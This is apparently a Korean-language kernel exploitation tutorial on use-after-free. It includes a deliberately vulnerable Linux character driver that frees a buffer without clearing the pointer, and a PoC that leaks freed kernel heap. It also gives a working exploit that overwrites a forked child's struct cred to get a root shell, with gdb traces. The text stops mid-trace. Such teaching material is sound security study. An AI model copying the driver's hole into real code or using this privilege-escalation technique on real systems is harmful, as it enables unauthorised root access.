Excuse the ads! We need some help to keep our site up.
List
07.Use-After-Free(UAF)
Use-After-Free(UAF)
CWE-416: Use After Free
kmalloc, kfree
- UAF를 실습하기 전에 Kernel 영역에 Heap 영역을 할당하는 함수에 대해 알아야 합니다.
- kmalloc(), kfree() 함수는 Kernel 영역에 Heap 메모리를 할당, 해제하는 함수입니다.
- 이 외에도 Kernel ram에 메모리를 할당받을 수 있는 다양한 함수들이 있습니다.
- kmalloc()함수의 인자 값은 다음과 같습니다.
- 첫번째 인자 값은 할당 할 메모리(Heap)의 크기를 전달 합니다.
- 두번째 인자 값은 할당 할 메모리(Heap)의 유형을 전달 합니다.
- Kernel ram에 메모리를 할당하기 위해 GFP_KERNEL flag를 사용합니다.
void *kmalloc(size_t size, gfp_t flags);
- kfree() 함수의 인자 값은 다음과 같습니다.
- 첫번째 인자 값은 kmalloc에 의해 반환 된 포인터 주소를 전달 합니다.
void kfree(const void * objp);
Memory Management in Linux
Example
Source code of module
chardev_ioctl()
- KMALLOC 분기문을 이용하여 kmalloc() 함수를 호출합니다.
- 메모리의 크기는 유저 프로그램으로 부터 전달 받은 값을 사용합니다.
- info.size = (size_t)arg;
- 할당된 메모리 포인터는 info.buf 변수에 저장됩니다.
- info.buf = (char *)kmalloc(info.size, GFP_KERNEL);
- 메모리의 크기는 유저 프로그램으로 부터 전달 받은 값을 사용합니다.
KFREE 분기문을 이용하여 kfree() 함수를 호출합니다.
- info.buf 변수에 저장된 값이 0이 아닐 경우에만 kfree() 함수가 실행됩니다.
- if(info.buf)
- kfree() 함수는 info.buf 변수에 저장된 영역을 해제합니다.
- kfree(info.buf);
- info.buf 변수에 저장된 값이 0이 아닐 경우에만 kfree() 함수가 실행됩니다.
- 취약성은 KFREE 분기문에서 발생합니다.
- info.buf 변수에 저장된 영역을 해제 한 후 info.buf 변수의 값을 초기화 하지 않기 때문에 UAF 취약성 발생하게 됩니다.
chardev_write()
- info.buf 변수에 저장된 값이 0이 아닐 경우 다음 코드를 실행합니다.
- if(info.buf)
- 유저 프로그램으로 부터 전달받은 info.size 값이 count 값 보다 큰 경우 다음 코드를 실행합니다.
- if(info.size > count)
- copy_from_user() 함수를 이용하여 사용자 공간(buf)의 데이터를 커널 공간(info.buf)으로 복사합니다.
- copy_from_user(info.buf, buf, count)
chardev_read()
info.buf 변수에 저장된 값이 0이 아닐 경우 다음 코드를 실행합니다.
if(info.buf)
유저 프로그램으로 부터 전달받은 info.size 값이 count 값 보다 큰 경우 다음 코드를 실행합니다.
if(info.size > count)
copy_to_user() 함수를 이용하여 커널 공간(info.buf)의 데이터를 사용자 공간(buf)으로 복사합니다.
copy_to_user(buf, info.buf, count)
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> #include <linux/cred.h> #include "chardev.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called.\n"); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called.\n"); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static struct ioctl_info info; static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called.\n"); printk("Address of &info.buf : %p\n",&info.buf); info.buf=0; return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called.\n"); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); if(info.buf){ if(info.size > count){ if(copy_from_user(info.buf, buf, count) != 0){ return -EFAULT; } } } return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called.\n"); if (info.buf){ if(info.size > count){ if(copy_to_user(buf, info.buf, count) != 0){ return -EFAULT; } } } return count; } static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { printk("The chardev_ioctl() function has been called.\n"); switch (cmd) { case KMALLOC: if(!info.buf){ printk("Address of info.buf : %p\n",info.buf); info.size = (size_t)arg; info.buf = (char *)kmalloc(info.size, GFP_KERNEL); if (!info.buf){ printk("Error!\n"); }else{ printk("Address of info.buf : %p\n",info.buf); printk("Success!\n"); } } break; case KFREE: if(info.buf){ printk("Call the kfree(). info.buf %p\n",info.buf); kfree(info.buf); } break; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit);
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char *buf; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define KMALLOC _IOW(IOCTL_MAGIC, 4, size_t) #define KFREE _IO(IOCTL_MAGIC, 0) #endif
Build & Setting
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ make make -C /lib/modules/4.4.0-31-generic/build M=/home/lazenca0x0/Kernel/Exploit/UAF modules make[1]: Entering directory `/usr/src/linux-headers-4.4.0-31-generic' CC [M] /home/lazenca0x0/Kernel/Exploit/UAF/chardev.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Exploit/UAF/chardev.mod.o LD [M] /home/lazenca0x0/Kernel/Exploit/UAF/chardev.ko make[1]: Leaving directory `/usr/src/linux-headers-4.4.0-31-generic' lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
Proof of Concept
PoC code
다음 코드를 이용하여 "UAF" 취약성을 확인할 수 있습니다.
open() 함수를 이용하여 "/dev/chardev0" 파일을 열어, fd1변수에 파일 디스크립트를 정보를 저장합니다.
ioctl() 함수를 이용하여 커널에 128 byte의 Heap 메모리를 할당받습니다.
- ioctl() 함수를 이용하여 앞에서 할당받은 Heap 메모리를 해제합니다.
- read() 함수를 이용하여 메모리의 값을 읽어 옵니다.
- 이때 읽어오는 메모리 영역은 앞에서 해제된 heap 메모리 영역이 됩니다.
- 즉, UAF 취약성을 확인 할 수 있습니다.
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" #define HEAP_SIZE 128 int main() { int fd1,i,j; char info[HEAP_SIZE]; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, HEAP_SIZE) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); memset(info, 0, HEAP_SIZE); read(fd1,info,HEAP_SIZE - 1); for (i = 0; i < 8; i++) { for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff); printf("\n"); } if (close(fd1) != 0){ printf("Cannot close.\n"); } return 0; }
Debug
- 다음과 같이 함수의 주소를 확인합니다.
- chardev_ioctl : 0xffffffffc0199120
- chardev_read : 0xffffffffc01990c0
- chardev_write : 0xffffffffc0199060
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep chardev ffffffffc0199000 t chardev_release [chardev] ffffffffc0199020 t chardev_open [chardev] ffffffffc019b480 b info [chardev] ffffffffc0199060 t chardev_write [chardev] ffffffffc01990c0 t chardev_read [chardev] ffffffffc0199120 t chardev_ioctl [chardev] ffffffffc0199210 t chardev_init [chardev] ffffffffc019b4a0 b chardev_cdev [chardev] ffffffffc019b508 b chardev_major [chardev] ffffffffc019b480 b __key.25752 [chardev] ffffffffc019b490 b chardev_class [chardev] ffffffffc0199350 t chardev_exit [chardev] ffffffffc019b100 d __this_module [chardev] ffffffffc0199350 t cleanup_module [chardev] ffffffffc0199210 t init_module [chardev] ffffffffc019b000 d s_chardev_fops [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
다음과 같이 breakpointer를 설정합니다.
kmalloc() 함수 호출 전 : 0xffffffffc01991c5
kmalloc() 함수 호출 후 :0xffffffffc01991ca
kfree() 함수 호출 전 : 0xffffffffc019919d
kfree() 함수 호출 후 : 0xffffffffc01991a2
copy_to_user() 함수 호출 전 : 0xffffffffc0199102
copy_to_user() 함수 호출 후 : 0xffffffffc0199107
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) x/50i 0xffffffffc0199120 0xffffffffc0199120: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199125: push rbp 0xffffffffc0199126: xor eax,eax ... 0xffffffffc019917c: mov rsi,QWORD PTR [rip+0x2305] # 0xffffffffc019b488 0xffffffffc0199183: test rsi,rsi 0xffffffffc0199186: je 0xffffffffc0199175 0xffffffffc0199188: mov rdi,0xffffffffc019a118 0xffffffffc019918f: xor eax,eax 0xffffffffc0199191: call 0xffffffff81180972 <printk> 0xffffffffc0199196: mov rdi,QWORD PTR [rip+0x22eb] # 0xffffffffc019b488 0xffffffffc019919d: call 0xffffffff811dd600 <kfree> 0xffffffffc01991a2: xor eax,eax 0xffffffffc01991a4: jmp 0xffffffffc0199166 0xffffffffc01991a6: xor esi,esi 0xffffffffc01991a8: mov rdi,0xffffffffc019a1b1 0xffffffffc01991af: xor eax,eax 0xffffffffc01991b1: call 0xffffffff81180972 <printk> 0xffffffffc01991b6: mov esi,0x24000c0 0xffffffffc01991bb: mov rdi,r12 0xffffffffc01991be: mov QWORD PTR [rip+0x22bb],r12 # 0xffffffffc019b480 0xffffffffc01991c5: call 0xffffffff811dcbe0 <__kmalloc> 0xffffffffc01991ca: test rax,rax 0xffffffffc01991cd: mov QWORD PTR [rip+0x22b4],rax # 0xffffffffc019b488 (gdb) b *0xffffffffc01991c5 Breakpoint 1 at 0xffffffffc01991c5 (gdb) b *0xffffffffc01991ca Breakpoint 2 at 0xffffffffc01991ca (gdb) b *0xffffffffc019919d Breakpoint 3 at 0xffffffffc019919d (gdb) b *0xffffffffc01991a2 Breakpoint 4 at 0xffffffffc01991a2 (gdb) x/30i 0xffffffffc01990c0 0xffffffffc01990c0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01990c5: push rbp 0xffffffffc01990c6: xor eax,eax 0xffffffffc01990c8: mov rdi,0xffffffffc019a0b8 ... 0xffffffffc01990fd: mov edx,ebx 0xffffffffc01990ff: mov rdi,r12 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> 0xffffffffc0199107: test rax,rax 0xffffffffc019910a: je 0xffffffffc01990f5 0xffffffffc019910c: mov rax,0xfffffffffffffff2 0xffffffffc0199113: jmp 0xffffffffc01990f8 0xffffffffc0199115: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0xffffffffc0199120: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199125: push rbp (gdb) b *0xffffffffc0199102 Breakpoint 5 at 0xffffffffc0199102 (gdb) b *0xffffffffc0199107 Breakpoint 6 at 0xffffffffc0199107 (gdb) c Continuing.
- 디버깅을 위해 "PoC" 프로그램을 실행합니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC
- 다음과 같이 kmalloc() 함수의 동작을 확인할 수 있습니다.
- kernel 메모리에 128 byte의 Heap영역을 할당받습니다.
- 해당 영역의 시작 주소는 0xffff880038074200 입니다.
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) x/2i $rip => 0xffffffffc01991c5: call 0xffffffff811dcbe0 <__kmalloc> 0xffffffffc01991ca: test rax,rax (gdb) i r rdi rsi rdi 0x80 128 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff880038074200 -131940455333376 (gdb) c Continuing.
- 다음과 같이 kfree() 함수의 동작을 확인할 수 있습니다.
- kfree() 함수의 인자 값으로 앞에서 할당받은 Heap 영역의 시작 주소가 전달되며, 해당 영역은 해제됩니다.
Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) x/i $rip => 0xffffffffc019919d: call 0xffffffff811dd600 <kfree> (gdb) i r rdi rdi 0xffff880038074200 -131940455333376 (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038075b00 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038075100 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing.
다음과 같이 UAF 취약성을 확인할 수 있습니다.
_copy_to_user() 함수의 인자 값으로 해제된 Heap 영역의 시작 주소, User 프로그램의 메모리 주소가 전달 됩니다.
즉, 이로 인해 해제된 메모리 영역의 값을 읽고, chardev_write 함수를 이용하여 값을 쓸 수 있게 됩니다.
Breakpoint 5, 0xffffffffc0199102 in ?? () (gdb) x/i $rip => 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> (gdb) i r rdi rsi rdi 0x7ffee90494c0 140732807812288 rsi 0xffff880038074200 -131940455333376 (gdb) x/16gx 0x7ffee90494c0 0x7ffee90494c0: 0x0000000000000000 0x0000000000000000 0x7ffee90494d0: 0x0000000000000000 0x0000000000000000 0x7ffee90494e0: 0x0000000000000000 0x0000000000000000 0x7ffee90494f0: 0x0000000000000000 0x0000000000000000 0x7ffee9049500: 0x0000000000000000 0x0000000000000000 0x7ffee9049510: 0x0000000000000000 0x0000000000000000 0x7ffee9049520: 0x0000000000000000 0x0000000000000000 0x7ffee9049530: 0x0000000000000000 0x0000000000000000 (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038074e80 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 6, 0xffffffffc0199107 in ?? () (gdb) x/16gx 0x7ffee90494c0 0x7ffee90494c0: 0xffff880038074e80 0x0000000000000000 0x7ffee90494d0: 0x0000000000000000 0x0000000000000000 0x7ffee90494e0: 0x0000000000000000 0x0000000000000000 0x7ffee90494f0: 0x0000000000000000 0x0000000000000000 0x7ffee9049500: 0x0000000000000000 0x0000000000000000 0x7ffee9049510: 0x0000000000000000 0x0000000000000000 0x7ffee9049520: 0x0000000000000058 0x0000000000000000 0x7ffee9049530: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing.
- UAF 취약성에 의해 복사된 Kernel 메모리의 값이 출력되었습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC 80 4e 07 38 00 88 ff ff 00 00 00 00 00 00 00 00 | ?N8??? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | X 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- UAF 취약성을 사용할 수 있는 환경을 만듭니다.
- kmalloc() 함수를 이용하여 원하는 크기의 힙 메모리 영역을 할당 받습니다.
- kfree() 함수를 이용하여 할당받은 힙 메모리 영역을 해제합니다.
- User 프로그램에서 fork() 함수를 이용하여 자식프로세스를 생성합니다.
- fork() 함수에 의해 새로운 프로세스가 실행되며, 해당 프로세스의 자격증명을 위해 생성되는 struct cred가 UAF 영역(?)에 할당됩니다.
- UAF취약성을 이용하여 struct cred의 값을 변경합니다.
- 공격을 위해 알아야 할 정보는 다음과 같습니다.
- "struct cred"의 크기
Size of "cred" structure
- 다음과 같이 gdb를 통해 "cred" 구조체의 크기를 확인할 수 있습니다.
- cred 구조체의 크기는 168입니다.
(gdb) p sizeof(struct cred) $1 = 168 (gdb)
Exploit code - 1
Exploit code
- 다음과 같이 UAF 취약성을 이용하여 Shell을 권한상승을 할 수 있습니다.
- open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 엽니다.
- ioctl() 함수를 이용하여 cred 구조체의 크기 만큼의 Heap을 할당 받습니다.
- ioctl() 함수를 이용하여 할당은 메모리를 해제합니다.
- fork() 함수를 이용하여 자식 프로세스를 생성합니다.
- 이로 인해 앞에서 해제한 영역에 새로운 프로세스의 cred 구조체의 정보가(자격증명 정보) 저장됩니다.
- write() 함수를 이용하여 cred 구조체의 정보를 수정합니다.
- system() 함수를 이용하여 "/bin/sh"를 실행합니다.
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" int main() { int fd1,fd2; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); int pid = fork(); printf("PID %d\n",pid); if(pid < 0){ puts("[*] fork error!"); exit(0); }else if(pid == 0){ char zeros[30] = {0}; write(fd1, zeros, 28); if(getuid() == 0){ puts("[+] root now."); system("/bin/sh"); exit(0); }else{ printf("UID : %d\n",getuid()); } }else{ wait(1); } if (close(fd1) != 0){ printf("Cannot close.\n"); } return 0; }
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-1 PID 3236 PID 0 [+] root now. # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0) #
Debug
- 다음과 같이 Breakpoint를 설정합니다.
- copy_from_user() 함수 호출 전: 0xffffffffc01990a2
- copy_from_user() 함수 호출 후: 0xffffffffc01990a7
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) x/30i 0xffffffffc0199060 0xffffffffc0199060: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199065: push rbp 0xffffffffc0199066: mov rdi,0xffffffffc019a088 0xffffffffc019906d: xor eax,eax 0xffffffffc019906f: mov rbp,rsp 0xffffffffc0199072: push r12 0xffffffffc0199074: mov r12,rsi 0xffffffffc0199077: push rbx 0xffffffffc0199078: mov rbx,rdx 0xffffffffc019907b: call 0xffffffff81180972 <printk> 0xffffffffc0199080: mov rdi,QWORD PTR [rip+0x2401] # 0xffffffffc019b488 0xffffffffc0199087: test rdi,rdi 0xffffffffc019908a: je 0xffffffffc0199095 0xffffffffc019908c: cmp QWORD PTR [rip+0x23ed],rbx # 0xffffffffc019b480 0xffffffffc0199093: ja 0xffffffffc019909d 0xffffffffc0199095: mov rax,rbx 0xffffffffc0199098: pop rbx 0xffffffffc0199099: pop r12 0xffffffffc019909b: pop rbp 0xffffffffc019909c: ret 0xffffffffc019909d: mov edx,ebx 0xffffffffc019909f: mov rsi,r12 0xffffffffc01990a2: call 0xffffffff813e0a10 <_copy_from_user> 0xffffffffc01990a7: test rax,rax 0xffffffffc01990aa: je 0xffffffffc0199095 0xffffffffc01990ac: mov rax,0xfffffffffffffff2 0xffffffffc01990b3: jmp 0xffffffffc0199098 0xffffffffc01990b5: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0xffffffffc01990c0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01990c5: push rbp (gdb) b *0xffffffffc01990a2 Breakpoint 7 at 0xffffffffc01990a2 (gdb) b *0xffffffffc01990a7 Breakpoint 8 at 0xffffffffc01990a7 (gdb) c Continuing.
- 다음과 같이 UAF 취약성과 자격증명 변경을 확인할 수 있습니다.
kmalloc() 함수에 의해 할당받은 Heap 영역의 주소는 0xffff88003a3dc000 입니다.
kfree() 함수에 의해 해당 영역은 해제됩니다.
메모리 영역은 해제되었으나, 전역변수에 저장된 주소 값을 초기화되지 않았기 때문에 UAF 취약성이 발생하게 됩니다.
fork() 함수에 의해 자식 프로세스가 생성되면, 이로 인해 앞에서 해제한 메모리 영역(0xffff88003a3dc000)에 새로운 프로세스의 자격증명 정보가 보관됩니다.
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) i r rdi rsi rdi 0xa8 168 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff88003a3dc000 -131940418207744 (gdb) c Continuing. Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) i r rdi rdi 0xffff88003a3dc000 -131940418207744 (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0xffff88003a3dcd80 0x0000000000000000 0xffff88003a3dc010: 0x00000000f0000042 0x0000000000000000 0xffff88003a3dc020: 0x0000000000000000 0x0000000100000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000800000001 0xffff88003a3dc040: 0x0000000100000008 0xffffffff8139e9a0 0xffff88003a3dc050: 0xffff8800374fbd56 0x0000000000000000 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000100010001 0xffff88003a3dc088 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0xffff88003a3dcf00 0x0000000000000000 0xffff88003a3dc010: 0x00000000f0000042 0x0000000000000000 0xffff88003a3dc020: 0x0000000000000000 0x0000000100000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000800000001 0xffff88003a3dc040: 0x0000000100000008 0xffffffff8139e9a0 0xffff88003a3dc050: 0xffff8800374fbd56 0x0000000000000000 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000100010001 0xffff88003a3dc088 (gdb) c Continuing. Breakpoint 7, 0xffffffffc01990a2 in ?? () (gdb) x/i $rip => 0xffffffffc01990a2: call 0xffffffff813e0a10 <_copy_from_user> (gdb) i r rdi rsi rdi 0xffff88003a3dc000 -131940418207744 rsi 0x7ffc461cd000 140721484779520 (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0x000003e800000002 0x000003e8000003e8 0xffff88003a3dc010: 0x000003e8000003e8 0x000003e8000003e8 0xffff88003a3dc020: 0x00000000000003e8 0x0000000000000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc040: 0x0000003fffffffff 0x0000000000000000 0xffff88003a3dc050: 0x0000000000000000 0xffff880015524c00 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000000000000 0xffff8800075db7e0 (gdb)
- 다음과 같이 User 프로그램에 의해 할당받고 해제된 Heap메모리 영역에 새로운 프로세스의 자격증명 정보가 저장된 것을 확인할 수 있습니다.
- 새로운 프로세스의 uid, gid, suid 정보를 확인할 수 있습니다.
- 해당 정보들은 User 프로그램에서 Write()함수를 이용하여 변경할 수 있습니다.
- User Program[Call write()] → Driver[Call chardev_write() → Call copy_from_user()]
- 해당 프로세스의 uid,gid,suid,등의 정보가 0으로 변경된 것을 확인할 수 있습니다.
- 즉, 이로 인해 해당 프로세스의 권한이 root로 변경되었습니다.
(gdb) p *(struct cred*)0xffff88003a3dc000 $4 = {usage = {counter = 2}, uid = {val = 1000}, gid = {val = 1000}, suid = {val = 1000}, sgid = {val = 1000}, euid = {val = 1000}, egid = {val = 1000}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', session_keyring = 0xffff880015524c00, process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, user = 0xffff8800263a5200, user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}} (gdb) x/16gx 0x7ffc461cd000 0x7ffc461cd000: 0x0000000000000000 0x0000000000000000 0x7ffc461cd010: 0x0000000000000000 0x0000000000000000 0x7ffc461cd020: 0x00000000004002b0 0x2264b4884eba0d00 0x7ffc461cd030: 0x0000000000000000 0x00000000004002b0 0x7ffc461cd040: 0x00000000006c0018 0x00000000004013bc 0x7ffc461cd050: 0x0000000000000000 0x0000000100000000 0x7ffc461cd060: 0x00007ffc461cd128 0x000000000040105e 0x7ffc461cd070: 0x00000000004002b0 0x7a8d8a3fed0b83fc (gdb) x/6gx 0x7ffc461cd000 0x7ffc461cd000: 0x0000000000000000 0x0000000000000000 0x7ffc461cd010: 0x0000000000000000 0x0000000000000000 0x7ffc461cd020: 0x00000000004002b0 0x2264b4884eba0d00 (gdb) i r rdi rsi rdx rdi 0xffff88003a3dc000 -131940418207744 rsi 0x7ffc461cd000 140721484779520 rdx 0x1c 28 (gdb) c Continuing. Breakpoint 8, 0xffffffffc01990a7 in ?? () (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc010: 0x0000000000000000 0x000003e800000000 0xffff88003a3dc020: 0x00000000000003e8 0x0000000000000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc040: 0x0000003fffffffff 0x0000000000000000 0xffff88003a3dc050: 0x0000000000000000 0xffff880015524c00 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000000000000 0xffff8800075db7e0 (gdb) p *(struct cred*)0xffff88003a3dc000 $5 = {usage = {counter = 0}, uid = {val = 0}, gid = {val = 0}, suid = {val = 0}, sgid = {val = 0}, euid = {val = 0}, egid = {val = 0}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, cap_inheritable = { cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, 